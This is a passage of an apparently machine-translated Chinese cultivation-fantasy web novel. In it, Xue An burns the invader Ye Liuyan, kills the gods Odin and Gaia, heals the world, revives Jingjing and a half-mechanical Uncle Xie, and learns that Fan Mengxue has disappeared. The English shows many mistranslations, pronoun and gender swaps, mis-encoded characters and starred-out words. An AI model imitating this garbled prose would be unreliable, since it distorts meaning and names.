    "Ah ah ah ah, Xue An, I hate you!" Thunder God roared, but he had to face the blasting Glazed Flame Slasher.


    boom!


    The two sides just touched.


    Under Ye Liuyan''s mighty Luo, the pan controlled by Thunder God was retreating steadily.


    "Boss, help!" Lei Shen panicked.


    But Xue An was not moved at all, instead he hugged his shoulders and watched in time.


    At this time, the knife has been cut in half.


    Raytheon finally made a ruthless message, "Today I have died hundreds of times, and I don''t care more than once. What can Daluo do? I can''t miss it!


    The voice just fell.


    Seeing a wave of thunder snakes exploded.


    The mighty power directly broke this Glazed Flame Sky Slashing Sword.


    Ye Liuyan was startled, "What''s the matter?"


    Xue An waved his hand at this time.


    The pan flew back to his hand, and then handed it to An Yan.


    "Yan''er, there was a trace of thunder and calamity in it just now. You used it to be insecure, but it has already been emitted! This is your new weapon!"


    Only then did Thor understand what was going on, and couldn''t help crying: "Boss, you can tell me if you want to radiate the power of thunder, why bother, it will be deadly!"


    Xue An ignored it.


    An Yan took the brand new pan and felt a powerful force coming.


    The strength is more than a hundred times stronger than before.


    Then Xue An turned around and looked at Ye Liuyan, who looked uncertain.


    "Are you ready?"


    Ye Liuyan was startled, and immediately furious, "Arrogant, die!"


    As he said, he slashed again.


    But the knife only went halfway, and the pieces began to disintegrate.


    When Xue An approached, it suddenly turned into nothingness.


    "What''s the matter?" Ye Liuyan was startled.


    Xue An smiled sensibly at this time, "It''s fun to cut, but now it''s me!"


    After speaking, I saw a shocking weather rushing out of Xue An.


    Its power is so powerful that it even showed various illusions.


    "This is... the power of a true fairy!" someone exclaimed.


    And Xue An groaned at this moment: "Even through the ages, the future is like the sea, but I am the Chinese!"


    "Today, I will kill you Daluo and promote my Chinese power!"


    "Fun Xuanxu!" Ye Liuyan said with a grinning, slashing in his hand again.


    At this time, Xue An stepped on the void and pointed to the front, "Blade of Karma! Now!"


    boom!


    Since Xue An��s body week, countless sword lights have appeared, and there are also extremely serious causal laws attached to them.


    In front of the sky full of sword light, Ye Liuyan''s sword did not even startle at all, and then it broke silently.


    Then Xue An raised his hand and pointed, "Kill!"


    boom.


    The sky full of sword lights fell.


    Ye Liuyan was horrified, and wanted to avoid it, but it was too late.


    The sword light was like rain, and the power of causality above was eroding his Daluo body crazily.


    It''s different from just now.


    After being promoted to True Immortal.


    Xue An''s way was stable again, and his supernatural powers skyrocketed.


    So this time the power of causality is more than several times stronger than before.


    Therefore, in a blink of an eye, terrifying cracks appeared on Ye Liuyan''s body.


    This made Ye Liuyan horrified.


    And Gong Wujian on the side screamed even more.


    "Master Shaojun, save me!"


    Her big Luo was originally urged, and her body was not stable at all, so when facing this blow, she didn''t even have the strength to struggle.


    Ye Liuyan gritted his teeth, "Strong!"


    He once again displayed his magical power to try to fight Xue An''s causal power.


    But this time.


    His supernatural power domain only lasted for a few breaths before it burst open.


    Jianmang came surging.


    Gong Wujian screamed and was directly overwhelmed by the power of cause and effect, and then there was no more sound.


    Ye Liuyan''s heart was broken when she saw it, and she had no desire to fight anymore, but turned and ran.


    He is now full of deep fear of Xue An, because God knows what strange tricks he will use in a while.


    So Ye Liuyan just wanted to leave this world as soon as possible.


    After I go back, I will report the details to my father, and then send a brigade to slaughter here.


    Ye Liuyan thought in her heart that more than half of her figure was hidden in the void.


    You must know that Ronaldinho is known to be unkillable.


    It is because it is difficult to completely kill a strong person at this level.


    As long as there is a chance, you can escape.


    Moreover, Daluo can cross the void physically, so he is invincible.


    But just when Ye Liuyan secretly breathed a sigh of relief, thinking that he was finally leaving this ghost place.


    An indifferent voice rang from his ears, "Come as you want and leave, do you really think this world is your back garden?"


    Ye Liuyan was shocked.


    Just wanted to say something.


    Xue An reached out into the void and pulled back.


    Ye Liuyan was dragged back from the void by Xue An.


    Ye Liuyan was furious, "Xue An, what can you do even if you are a real immortal? I don''t believe that you can really kill me!"


    Xue An smiled coldly upon hearing this, "Do you really think I can''t kill you?"


    As he said, Xue An raised his hand, and a ray of red and white flames jumped at his fingertips.

 Chapter 963： Fire Refining Da Luo to sacrifice to the dead

    "This...this is..."


    Seeing this ray of flame, Ye Liuyan screamed as if he had seen a ghost, "Who are you anyway? Why is there such a thing?"


    Xue An showed white teeth and smiled sensibly, "Me? I am Xue An!"


    Ye Liuyan sweats like rain, her previous arrogance is gone, and a flattering smile squeezes out of her face.


    "Xue...Xue An, we are all strong, and everything can be discussed. Why should we do everything right?"


    "Extreme?" Xue An smiled coldly and turned to look at the people whose seals were gradually being lifted because Gong Wujian was destroyed.


    "If I can''t come back, are these people already turned into fans?"


    Ye Liuyan''s face turned pale, just about to explain.


    Among the crowd, Chen Rushi, who was already crying into tears, broke out first, threw himself and knelt in the air.


    "Mr. Xue, my grandfather..." At this point, Chen Rushi was already choked.


    At the same time, the fat aunt jumped out and roared with red eyes: "Xiao''an, your Uncle Xie also died in the hands of this group of people, including Jingjing has also been seriously injured and unconscious!"


    For a time, the crowd was angry, and Wanfu pointed out.


    Ye Liuyan''s complexion also became paler.


    Xue An turned his head to look at him, and asked in a cold voice: "This...is what you said is good for discussion?"


    While talking, Xue An stepped forward.


    "Xue...Xue An, I am the son of Li Heng Tianjun. If you dare to kill me, my father and king will definitely not let you go, and this world!" Ye Liuyan shouted loudly. It seems to be courageous with myself.


    Xue An smiled coldly when he heard the words, "Li Heng Tianjun? No, there will be no Li Heng Tianjun soon! Do you think you are dead, how long will your Li Hengtian exist?"


    Ye Liuyan trembled and looked at Xue An in disbelief, "You..."


    The voice did not fall.


    Xue An raised his hand.


    The red and white red lotus covered the sky and covered the sun, trapping Ye Liuyan in it.


    "Today, I will fire Daluo to sacrifice to the dead!"


    With the voice, I saw the sky full of red lotus blooming together, and the red and white flames completely enveloped Ye Liuyan.


    The flame rose, but the onlookers could not feel the slightest temperature.


    But from the eyes of Ye Liuyan who was trapped in it, the flame was ten thousand times more terrifying than the **** fire.


    "Xue An, you are so vicious! Don''t...ahhhhhhhh! Please let me go!"


    At the beginning of this night Liu Yan cursed Xue An frantically, but when the flames and body ruthlessly swallowed his body and consumed his soul source.


    Liu Yan was completely panicked this night.


    The broken body can be reborn, but if the soul is destroyed, it is really dead.


    So he began to beg for mercy frantically.


    But Xue An was not moved at all, but quietly looked at Ye Liuyan who was struggling in the fire to beg for mercy.


    It seems...what are you waiting for!


    really.


    Just when the Red Lotus Fire had already refined Ye Liuyan''s limbs.


    A sigh came from the unknown.


    Someone sighed faintly: "The strong Chinese, you have to be forgiven and forgive. Although my son is wrong, you have also slaughtered the gods. You have taught him enough lessons. For the sake of face, let him go?"


    Hearing this voice, Xue An''s mouth showed a cold smile, and said lightly: "I have been waiting for you for a long time, are you finally willing to show up? Li Heng Tianjun!"


    With the voice.


    Just above the flames, a figure of emptiness began to emerge, and finally a gray-haired, majestic old man appeared.


    With his appearance, the red lotus fire was suppressed and dimmed.


    And Ye Liuyan seemed to have grabbed the straw, and shouted frantically, "Father, save me!"


    The old man smiled at Ye Liuyan, "I don''t have to panic!"


    Then turned his head to stare at Xue An, sighed and said: "I didn''t expect to see you in ten thousand years, and you unexpectedly appeared in the Chinese clan who is such a young and powerful talent!"


    Xue An remained unmoved, just watched coldly.


    At this time, Li Hentian Jun continued: "Chinese powerhouse, I will give you an explanation for this matter, but please let me go. What do you think?"


    The audience was silent.


    Everyone looked solemnly at this old man who suddenly appeared.


    Because everyone knows.


    This must be Ye Liuyan''s father, who is known as Li Heng Tianjun.


    Ye Liuyan is so powerful, and the strength of Li Hentian Jun is even more unfathomable.


    Then all eyes converged on Xue An.


    Many people''s hearts are tense, wanting to see how Mr. Xue will deal with this matter.


    At this time, Xue An slowly raised his eyes and said in a calm tone: "Explain?"


    "Yes!" said Li Hen Tianjun with a smile.


    Xue An nodded, "Okay, then I will listen to you, what are you going to explain to me!"


    After that, Xue An pointed to everyone, "There are countless people who have died under your son. How do you plan to calculate this account?"


    Li Heng Tianjun was startled first, and then he smiled, "Chinese powerhouse, I thought you wanted to say something, but a bunch of ants, I can compensate you with countless spiritual crystal techniques, how about?"


    Xue An smiled.


    It''s just a smile full of murderous intent.


    "Ants, it turns out that my relatives and friends are just a bunch of ants in your mouth?"


    Li Hentian said disapprovingly: "The strong Chinese, you have become a true immortal, and your future is unlimited. Naturally, these ordinary people don''t have to care!"


    He wanted to continue.


    Xue An yelled coldly, "Enough!"


    Then he raised his hand and pointed at Li Heng Tianjun in mid-air, "Now I only have two requirements. First, tell me who led me to slaughter the Chinese people ten thousand years ago!"


    "Secondly, your son will definitely die!"


    Hearing these two requests, Li Hentian Jun''s complexion changed drastically, and then he coldly snorted: "Chinese strong, I treat each other with courtesy, because I value your future, but don''t think I am afraid of you! And you want to know who is in charge! Haha!"


    There was a trace of fear on Lihentianjun''s illusory cheeks, "That is an existence that even I dare not provoke, so I advise you to stop obediently!"


    Xue An laughed loudly, but the laughter was full of sadness and anger, "Okay! Very good! Since you refuse to say, then wait for me to enter your heaven, I see you say it!"


    "And no matter who the other party is, I, Xue An, will kill it!"


    As he said, Xue An raised his hand and pointed.


    The red lotus fire that had been suppressed suddenly rose, and Ye Liuyan let out a scream that shook the sky.


    "The madman dare you!" Li Hentian Jun roared.


    Xue An said coldly: "There are no heavens and worlds that I dare not! And don''t worry, it will be your turn soon!"


    With that, Xue An waved his hand casually, and the imaginary image shattered in pieces and returned to the wind.


    at the same time.


    Ye Liuyan''s scream stopped abruptly, only the red lotus fire still swayed.


    Xue An''s eyes were full of cold light.

 Chapter 964： Odin falls, the blood **** asks for mercy

    Guren scattered.


    The world is solemn.


    Many people couldn''t help shed tears.


    This time the gods invaded, although the time was short, but humans, especially the Chinese, suffered extremely heavy losses.


    If it weren''t for Xue An to arrive in time.


    Maybe everyone present no longer exists.


    Therefore, after seeing the enemy being refined by Xue Ansheng.


    Many people have mixed feelings and don''t know what it feels like in their hearts.


    And at this moment, Xue An turned his head, and said with a smile at the void: "When are you going to hide?"


    With the voice.


    The void quaked slightly, and then two panicked figures appeared.


    It is Odin and the blood **** Gaia.


    These two gods were very lucky not to fall in the initial causal confrontation, and then took advantage of the war, trying to escape from the chaos.


    But they underestimated Xue An''s killing intent.


    From the beginning, Xue An was afraid that there would be fish that would slip through the net, so he directly used his own cultivation base to block the entire world.


    In this way, if they want to run, they must defeat Xue An.


    This is obviously impossible.


    Therefore, the two of them can only hide in the place where the void connects with the world, shivering, hoping that Xue An will forget himself.


    But this wish was obviously lost.


    "Big... Your lord is forgiving!" After Odin showed his body, he was the first to ask for mercy.


    For him, being alive is the most important thing, and all dignity is bullshit.


    Especially the scene where Xue Anhuo refines Ye Liuyan and smashes the virtual image of Li Hentian, he can see it all.


    This even scared Odin to the dead.


    As for the blood **** Gaia, it was not that he didn''t want to beg for mercy, he was so scared that he couldn''t even speak.


    At this time, Xue An looked at the two gods coldly, and suddenly said, "Odin, do you remember what I told you before?"


    Odin froze, "Wh...what?"


    Xue An smiled faintly, "I said, one day, I will make your godhead into a badge and give it to Yan''er!"


    Heard these words.


    Odin''s complexion turned pale in an instant, "No...sir, I was forced. It was this Ye Liuyan who forced me to return to Earth! Please let me go!"


    Xue An shook his head, his expression getting colder, "Ten thousand years ago, you betrayed the earth and took refuge in the Void Clan in order to survive. Now you are coming to deal with your former compatriots. Your sins are... to be blamed!"


    Xue An hasn''t finished speaking yet.


    Odin''s eyes changed, and when Xue An stood with his hand, as if he hadn''t noticed himself, he brazenly moved his hand.


    He understands.


    Xue An will never let him go.


    So in order to survive, he also tried!


    This Odin is known as the King of the Nordic Gods. After taking refuge in Lihentian, his divine power has increased a hundredfold, so his strength is very impressive.


    In order to survive this time, it is even more of a killer move.


    Even though the Spear of Eternity was broken, when he blasted a blow with all his strength, the momentum was still amazing.


    Xue An just looked at him coldly, without the slightest movement.


    Until Odin''s fist had reached the front.


    Xue An just turned his head and smiled at An Yan, "Yan''er, what kind of badge do you like?"


    An Yan was taken aback.


    But Odin was overjoyed.


    Even Ye Liuyan didn''t dare to be so big when facing him, Xue An, you are too arrogant! go to hell!


    Odin laughed grimly.


    But his smile has not fully surfaced before it has solidified.


    Because Xue An raised his hand and caught the punch from Odin in a short time.


    Then he said lightly: "It''s too slow! No wonder you are just someone else''s running dog for so many years!"


    Odin was taken aback, then let out a terrible cry.


    "Ahhhhhhh!"


    Because from the palm of Xue An''s palm, the red and white flames rose and burned, spreading upward along Odin''s shoulder.


    Odin is also a cruel character, in order to survive, he cut off his arm without hesitation.


    But all of this is useless.


    This red lotus fire is like a tarsal maggot, spreading and burning with an unstoppable force.


    In an instant.


    Odin''s entire body was completely covered.


    This divine power and the pain of burning his soul made him struggle and twist.


    suddenly.


    A loud bang came from Odin''s body.


    Then you can see illusions appearing in the void.


    In this illusion.


    Vidal, who was badly injured by Fan Mengxue, is resting comfortably in Odin''s kingdom of God.


    Odin is the King of God, and this kingdom of God is naturally extremely vast.


    Vidal is even in the mood to raise a lot of goddesses in it, having fun every day.


    But he never expected that the almost omnipotent God Father in his own eyes would be defeated.


    Even the kingdom of God was destroyed.


    So in the illusion, you can see that Vidal, who was spending time and wine, looked up in horror, and then was also enveloped by the red lotus fire.


    In a blink of an eye.


    The flame dissipated, and the pair of former gods, father and son, completely disappeared.


    In the void.


    There is only a light ball that exudes crystal brilliance.


    Xue An stretched out his hand and the light ball fell into his hand.


    Surprisingly, it is a star-like crystal with a crystal clear material to almost transparent, and there are faintly endless shining crystals inside.


    This is the godhead of the Norse king Odin.


    Xue An smiled slightly and handed it to An Yan.


    Then he raised his head and looked at Gaia who was already shaking like chaff.


    "Strange, why don''t you call for mercy?"


    Gaia was shocked, "Please... I beg your lord for my life!"


    Xue An shook his head, "No!"


    Caia was about to cry.


    Can''t you still let me shout?


    Isn''t this playing me?


    "You have to shout for mercy to show your sincerity, otherwise it''s boring! And you can rest assured, I have almost accumulated the blood beads of your blood race, and you can refine a masterpiece without your main medicine. It''s medicine, are you happy to hear the news?" Xue An said with a smile.


    Caia really cried.


    Co-authored with this killer god, he regards the blood race as a card, and he can refine the pill by collecting all of them, and he is the rarest card.


    No one can be happy with this kind of thing.


    But what should I do?


    Gaia''s thoughts moved, and he trembled: "My lord, please raise your hand and let me go. I am willing to tell you important information about those who slaughtered the Chinese!"


    Hearing this, many people''s eyes lit up.


    But Xue An laughed.


    Just a hint of ridicule in his smile.


    "If it''s someone else, I guess I would really believe it, but is it you..."


    Xue An said indifferently: "Why are your godheads incomplete, do you still use me?"


    When Gaia heard this, his face changed drastically, "You...how do you know?"


    Xue An said coldly: "You obviously participated in that battle at the beginning, and you may even have seen those guys with your own eyes. Unfortunately, it is estimated that those people don''t trust you, so you will kill the donkey. You dig out more than half of your godhead, just to wipe out that memory completely! Am I right?"

 Chapter 965： Reverse yin and yang, reshape the world

    Xue An sneered coldly, "I have been a running dog for so long, but in the end it ended up like this. Gaia, you blood **** deserves it... you are really useless!"


    Caia''s face was ashen ashes, and he said nothing.


    "Okay, let''s be a medicinal primer with peace of mind, I will avenge you at that time!" Xue An said lightly, raising his hand.


    "Thunder God, you are the best at dealing with such evil things, so... I smashed it and condensed it into blood beads!"


    Lei Shen, who was floating beside An Yan, murmured softly, "I don''t even have a salary for work, what a stingy boss!"


    But he didn''t dare to disobey Xue An''s orders, so he still rose into the sky.


    "Hey, that monster, look at my palm thunder!"


    As he said, a thunder light blew down.


    Although Gaia was unwilling, when he faced Lei Zun, who had already proven himself as the righteous **** of Leibu, he was knocked to the ground after only a few encounters.


    In the end it was condensed into a blood bead.


    At this point, this shocking battle has come to an end.


    And this battle, from the beginning to the end, took a whole day.


    During this period. The situation has turned back and forth, and the ups and downs have made the hearts of all people around the world ups and downs.


    at last.


    The gods who invaded the earth were slaughtered to death.


    Everyone couldn''t help letting out a breath.


    Then they all looked at Xue An''s figure with extremely admiring eyes.


    It can be said that if there is no Xue An, then the whole world will become the plaything of the gods.


    But at this moment, I saw Xue An jump up and came to the top of the sky again.


    Everyone looked up, all confused, not knowing what Xue An was planning to do.


    But seeing Xue An overlooking the messy world that was scoured by the gods, he stomped suddenly.


    "Reverse Yin and Yang, reshape the world!"


    boom.


    Give an order.


    Spiritual energy transforms the rain, swells and falls, and nourishes the earth.


    The already dry Yunmeng Lake shimmered in an instant, and the ground torn apart because of this war was healed at an astonishing speed.


    The injuries of everyone present also quickly healed under this spiritual rain.


    And the scope of this spiritual rain is gradually expanding.


    At first it was limited to Beijiang, and then it quickly expanded to the entire north.


    finally.


    The whole China is bathed in this spiritual rain.


    The injured began to heal, and the healthy people also benefited a lot. Many cultivators even crossed the pass directly and improved their first-level cultivation.


    As for how many creatures in the mountains, rivers and rivers, the spiritual wisdom has been activated because of this spiritual rain, that is even more unknown.


    All foreigners watched this scene very enviously.


    Some monks even want to join China now and become a member of the Chinese ethnic group.


    Finally, everything returned as before, and even the aura of China was even better than before.


    Beijiang.


    Many monks have dispersed.


    But more people did not leave.


    These people are basically Xue An''s old acquaintances.


    Wait for Xue An to fall to the ground.


    These people all rushed up.


    "Mr. Xue!"


    "grown ups!"


    "Brother Xue!"


    These shouts one after another.


    Xue An smiled and nodded, "Let''s go, enter the villa!"


    And after just a baptism of spiritual rain, Tianzi No. 1 Villa has completely turned into a Xianjia Dongfu.


    After everyone entered, they had not waited to be seated.


    Tang Xuan''er approached with red eyes, "Xue..."


    Xue An looked at the haggard girl and sighed, "Okay, Xuan''er, it''s all over!"


    He knew that Tang Xuan''er was under heavy psychological pressure.


    But at this moment.


    Zhang Xiaoyu rushed forward crying, plopped and knelt in front of Xue An, and said with tears and nose: "Sir, look at Master Xiaosha! She...she..."


    "What''s wrong with her?" Tang Xuan''er was startled.


    "She became an egg!"


    When Xue An walked into the inner room, he saw a giant egg the size of a person lying on the soft bed in the room.


    Zhang Xiaoyu cried and said, "I used to be by Master Xiaosha''s side, but I didn''t expect that after watching the great battle of the adults, when I came back, I found that Master Xiaosha had become an egg. !"


    Xue An stepped forward, stretched out his hand to rub the smooth eggshell, and said nothing.


    At this moment, An Qing who had not said a word from the side suddenly said: "She is dead!"


    These words came out.


    The audience was shocked.


    Zhang Xiaoyu was even more stunned, and then furious.


    Of course, she also knew that An Qing was the adult''s sister-in-law, but she still suppressed her anger and said: "You nonsense, Master Xiaosha is not dead at all, she must be transformed into an egg and is waiting for rebirth!"


    An Qing did not pay attention to Zhang Xiaoyu''s words at all, but said indifferently: "I can feel that her qi has been completely shattered!"


    An Yan frowned because she realized that her sister seemed to have changed a lot after sleeping for three years.


    "Qing''er, don''t talk nonsense!"


    "I''m not talking nonsense! She is indeed dead!" An Qing remained unmoved.


    At this moment, Xue An turned his head and looked at An Qing coldly, but An Qing stared at Xue An without showing any weakness.


    The room became quiet instantly.


    Until a moment later.


    Xue Ancai lowered his eyes and said faintly: "Qing''er, it is a good thing that you have mastered the heart of the Zerg, but I don''t want your heart to be blinded by this feeling, otherwise, even if you are strong, you at that time... Is it you?"


    These words were like a heavy hammer that hit An Qing''s heart.


    Her eyes instantly became confused.


    Yes!


    Since being reborn from the cocoon, she has mastered powerful abilities, and even became the queen of the Zerg race that is extremely rare among the heavens and all realms. Given time, her achievements will be limitless.


    But unconsciously, his heart was also dominated by the will from the Zerg race.


    The mood became so calm that it was almost cruel, and the heart gradually became cold-blooded.


    In this case, are you still yourself?


    The expression on An Qing''s face was fluctuating, and she was caught in a deep questioning of herself Zhang Xiaoyu said to Xue An hopefully, "My lord, what''s the matter with Master Xiaosha? What? When can I wake up?"


    Xue An didn''t answer her directly, but instead said to the anxious Fat Auntie: "Aunt Fatty, how is Jingjing now?"


    "I haven''t woken up yet, I am still in a coma, and my breath is getting weaker and weaker!" As she said, tears burst into her eyes.


    And her once chubby figure has also lost crazily in these short days.


    "Auntie Fatty, don''t cry, I''ll go and see! And...send Uncle Xie''s body too!"


    Hearing Xue An''s words, the fat aunt''s figure was shocked, and immediately ecstasy appeared on her face.


    "Xiao''an, you mean, you thank Uncle him..."


    Xue An nodded, "Let me try!"


    After speaking, he left this room and went outside.

 Chapter 966： Save people

    Xie Jingjing was lying on the bed, her face almost the same as that of a dead person. The only thing that proved that she was alive was the almost imperceptible breath between her nose.


    On the other side, it was Lao Xie''s body, half of his body shattered.


    When Aunt Fatty saw her two most important relatives died and the other injured, she couldn''t help but feel sad and sobbed softly.


    Xue An walked to the bed and looked at Xie Jingjing silently.


    Haven''t seen it in three years.


    This girl has grown up completely.


    Not only the appearance has become mature, but the cultivation level has also been praised by many people.


    Even Xue An had just heard that she had won the crown in a contest of young monks last year.


    It is such a girl who has found her goal in life, but after hearing the news of her death, she fought against the gods desperately.


    This kind of stupid behavior left Xue An somewhat speechless.


    Finally, he sighed slightly and whispered softly: "What a silly girl!"


    At this time, after hearing Xue An sigh, the fat aunt trembled and asked cautiously: "Xiao An, how is Jingjing? Is her injury very troublesome?"


    Xue An smiled slightly, "Don''t worry, Auntie Fatty, no matter how many injuries, I will let Jingjing recover, don''t worry!"


    Aunt Fatty let go of her heart, and she dared not speak when she stood far away.


    Xie Jingjing''s injury was indeed serious.


    Although Ye Liuyan just kept a seal in hand.


    But because the difference in strength was too big, it was this casual blow that almost shattered Xie Jingjing''s soul.


    Today''s Xie Jingjing has all the meridians in his body, the sea is full of holes, and even the bones of the five internal organs are showing a tendency of erosion.


    If such an injury were placed on someone else, it would have died eight hundred times.


    But Xie Jingjing miraculously survived until now.


    Even Xue An could feel that in Xie Jingjing''s sea of ??knowledge, there was an extremely weak, but extremely tenacious spirit persisting.


    Xue An was moved by this will to survive.


    That''s why Xue An assured the fat aunt.


    Because he didn''t want to disappoint the girl''s will to survive.


    Xue An''s eyes narrowed slightly, and the huge divine mind first enveloped Xie Jingjing''s sea of ??consciousness, protecting her already fragile sea of ??consciousness, and then using the supreme cultivation base to reshape her body.


    This process can be said to be extremely thrilling.


    Because few people dare to act like this.


    The human body is extremely delicate, and a single mistake will lead to a big mistake.


    But Xue An calmly used his cultivation base to repair Xie Jingjing''s body.


    This time, it took a full half an hour.


    at last.


    Xie Jingjing''s body recovered as before, and her face became ruddy.


    But Xue An knew that this was just the beginning.


    The hardest part is yet to come.


    Because Xie Jingjing''s spirit had been shaken to pieces, she was barely able to stay away with a thought.


    If one is careless at this time, then Xie Jingjing will become a dead person alive.


    In the whole world, Xue An dared to use this method to repair the soul.


    Because Xue An''s spiritual mind is not only so powerful that it is abnormal, but even the control ability is beyond the reach.


    This has the basis for doing so.


    I saw a series of subtle spiritual thoughts holding up Xie Jingjing''s soul fragments, and then splicing them together like a puzzle.


    Be careful at every step.


    at last.


    When Xue An''s forehead was sweating, Xie Jingjing''s soul was spliced ??together.


    But this soul is lifeless, like a dead person.


    Xue An frowned slightly, then plunged into Xie Jingjing''s sea of ??knowledge.


    Sticking to the idea that has been in the sea of ??knowledge should be the key to everything.


    When Xue An appeared in the incomplete sea of ??consciousness, he saw an almost transparent figure floating quietly in the air.


    An extremely faint whisper echoed in the sea of ??consciousness.


    "Brother Xiaoang, save me!"


    Xue listened quietly, and finally sighed, "Jingjing!"


    Upon hearing this, the almost transparent figure looked up at Xue An, and then began to cry.


    "Little Ang..."


    Xue An was a little sad.


    He knew very well how much pain Xie Jingjing''s remnant soul had suffered before he persisted until now.


    So he took the hand of the remnant soul, "Go, Brother Xiao An will take you home!"


    At this time.


    The fat aunt who was watching outside looked worriedly.


    She didn''t know what happened, but found that her daughter''s complexion became ruddy, but her breath became weaker.


    This made her feel like a knife.


    Could it be that Xiaoan couldn''t save Jingjing?


    At this moment.


    Seeing Xue An let out a sigh of relief, he said in relief: "Alright!"


    Aunt Fatty was startled, then she saw Xie Jingjing who was lying on the bed, shaking her eyes open.


    Aunt Fatty cried with joy, just about to step forward.


    But Xie Jingjing fainted again.


    The fat aunt was stunned, "Xiao''an, Jingjing, she..."


    Xue An smiled lightly and said: "It''s okay, she just suffered a severe injury to her soul and it will take some time to recuperate!"


    Aunt Fatty was relieved.


    Then, Xue An walked to the corpse of Uncle Xie.


    Because the fat aunt has been moisturizing with spiritual energy, Uncle Xie��s body did not show the slightest decay, even with a trace of blush on his cheeks. Lying there, if you don��t look at the blasted half, you will simply fall asleep. same.


    Aunt Fatty asked a little hesitantly: "Xiao''an, thank you Uncle... can he be rescued?"


    Xue looked quietly, and after a while, he raised his head and looked at Fat Auntie, "It''s a bit difficult, but it''s not impossible to try, but there is a prerequisite I want to tell you!"


    The fat aunt nodded immediately, "Say Xiaoan, I can accept everything! Just cut off half of my body and connect it to him. I have no objection!"


    Xue An smiled slightly, "It doesn''t have to be that way! It''s just...you have to accept a different Uncle Xie in the future."


    After a while.


    Aunt Fatty walked out of the room with a weird expression, and said to Liu Keke, the puppet Xianzong outside,: "Miss Liu, Xiao An wants you to go in!"


    Liu Keke was startled, "Send me in?"


    "Ok!"


    Liu Keke did not dare to neglect, and hurried into the house.


    The remaining group of people looked at each other outside, wondering what Xue An called Liu Keke for.


    And Chen Rushi looked at the house hopefully.


    Now besides Fatty Auntie, she is the one who is looking forward to Xue An to revive Uncle Xie.


    Because only then can his grandfather Chen Xiuhe be resurrected.


    I don''t know how long it took.


    About an hour or so.


    Just heard a loud noise in the room and then heard a weird roar.


    Everyone was taken aback, and Aunt Fatty was the first to rush in.


    Everyone also followed in,


    I saw Lao Xie, half of his body shattered, standing up from the ground.


    It''s just that the other half of the body is not a physical body, but a precision machine.


    The combination of the two looks like a robot in the Terminator at first glance.


    Before the resurrection, Xue An told the fat aunt about the risks, so the fat aunt was already prepared.


    So when I saw Lao Xie who was standing up again, she couldn''t help but burst into tears. He stepped forward and said, "Old Xie! You..."


    The voice did not fall.


    I saw Lao Xie stepping back a few steps, roaring like a beast.

 Chapter 967： The road of life and death, going against the sky

    The fat aunt was stunned, and then tremblingly asked: "Xiao An, what''s the matter?"


    Xue An looked at Lao Xie and sighed: "The way of life and death is the irreversible law of heaven. Now I am going against the sky. Although I have resurrected Uncle Xie, his soul has already been scattered throughout the world, despite my best efforts. Searching, but only found more than half of it. That''s it, it''s because he has a deep bond with you!"


    "For this reason, I will replace half of his body with a mechanical puppet, because only in this way, his few remaining souls can control his body with the help of the mechanical puppet! Therefore, he is now as sane as he is. Babies!"


    Hear Xue An''s explanation.


    Aunt Fatty looked sad, "Then can he recover?"


    Xue An shook his head, "I don''t know, it may or may not!"


    There was a hint of determination on the fat aunt''s face, "Anyway, as long as there is a glimmer of hope, I will not give up!"


    As she said, she waved at Lao Xie, and trembled: "Lao Xie, come here!"


    no response!


    "Old Xie! I''m your wife!"


    Still no response!


    Xue An said: "You''d better speak with the attitude you usually treat him, so as to arouse his subconsciousness!"


    The fat aunt gritted her teeth, pretended to be brutal, stomped her feet, pointed to Lao Xie''s nose and shouted: "The surname is Xie, don''t you get out of me!"


    Give an order.


    Old Xie, who was always wary of everyone, showed a dazed look in his eyes, and then obediently walked to the fat aunt.


    This scene made Xue An and everyone dumbfounded.


    To death, this old Xie was still so afraid of his wife!


    And Chen Rushi has been watching all this with a complicated expression.


    I don''t know when, Xue An appeared next to her and sighed faintly: "Miss Chen, I know what you think, but Patriarch Chen is willing to sacrifice, and the unfettered soul will dissipate in the world in no time! ...."


    Chen Rushi shook his head, "Mr. Xue, needless to say!"


    Then she raised her head and looked enviously at the fat aunt who was "reprimanding" Lao Xie, her tears were falling, but she smiled and said, "Maybe my grandpa doesn''t want to be resurrected at all! Now that he is gone, let him Go well!"


    Xue An was silent.


    Chen Rushi burst into tears, "But...I really can''t bear it!"


    Seeing her crying, many people shed tears.


    Especially the people in Zhongdu, they all cried bitterly.


    Chen Xiuhe has been in charge of the Chen family for dozens of years, and in Zhongdu has become a divine needle of Dinghai.


    How much turmoil, the old man came over calmly.


    Unexpectedly, he would eventually die in the hands of a group of alien gods.


    But to death, Chen Xiuhe didn''t lose the integrity of a Chinese man.


    On this basis, it is worthy of admiration.


    When the atmosphere became very dull, An Yan ran in in a panic.


    "Husband, something happened!"


    Hearing this, Xue An raised his eyebrows, "Yan''er, what''s wrong?"


    An Yan was a little at a loss. "The news from Europe just came back, Mengxue...Mengxue..."


    "What happened to Mengxue?" Xue An was horrified and shocked.


    He naturally also knew the news that Fan Mengxue was seriously injured and unconscious, and was about to take care of this matter, so he rushed to Europe.


    "She... she is gone!" An Yan said with red eyes.


    "Gone?"


    An Yan nodded.


    Xue An''s eyes narrowed slightly, and the turbulent spirit instantly swept the world.


    really.


    The bleak black spirit in Europe before has disappeared.


    Xue An stood up suddenly, "Yan''er, you guard at home, I''ll go to Europe to see what''s going on!"


    After all, Xue An rose into the sky, and his figure disappeared into the sky instantly.


    At Xue An''s current speed, it was only a blink of an eye from China to Europe.


    When he fell in the dark castle, there was already a mess here.


    Including the group of guarded skeletons, everyone''s faces are full of panic.


    Therefore, when Xue An arrived, everyone rushed up.


    "My lord..." The Dark Witch Anastasia quaked.


    Xue An walked inside and asked in a deep voice: "What is the situation, tell me in detail!"


    "Yes!" Anastasia hurriedly introduced the situation.


    "After Mengxue repelled the Odin gods who invaded here that day, she fell into a coma due to serious injuries as soon as she returned to the castle! Fortunately, it was not life-threatening! So all of us stayed in the castle. Protect Mengxue!"


    "In this battle, we all focused our attention on the Chinese side! But I can guarantee with my life that this dark castle is under strict protection from beginning to end, and no one has ever entered or left!"


    "But when the matter was over, when I entered Mengxue''s room, I found out..."


    Speaking of this, Anastasia''s eyes showed a sense of panic.


    "What did you find?"


    "I found that the bed was empty, only a cloud of darkness that was so strong that it could not be removed lingers in the room!"


    "Oh?" Xue An was startled slightly, a complex expression flashed in his eyes, and then said lightly: "Go on!"


    "At the time I thought Mengxue woke up and got out of bed and went out. I was very happy, but after I checked it, I found that there was no trace of Mengxue in the entire castle!"


    At the end, Anastasia''s voice was already crying.


    And everyone in the Dark Council is full of grief and anger.


    Especially the Titans.


    The brawny man had already lost his lover, and now even the most important person in the dark council is missing.


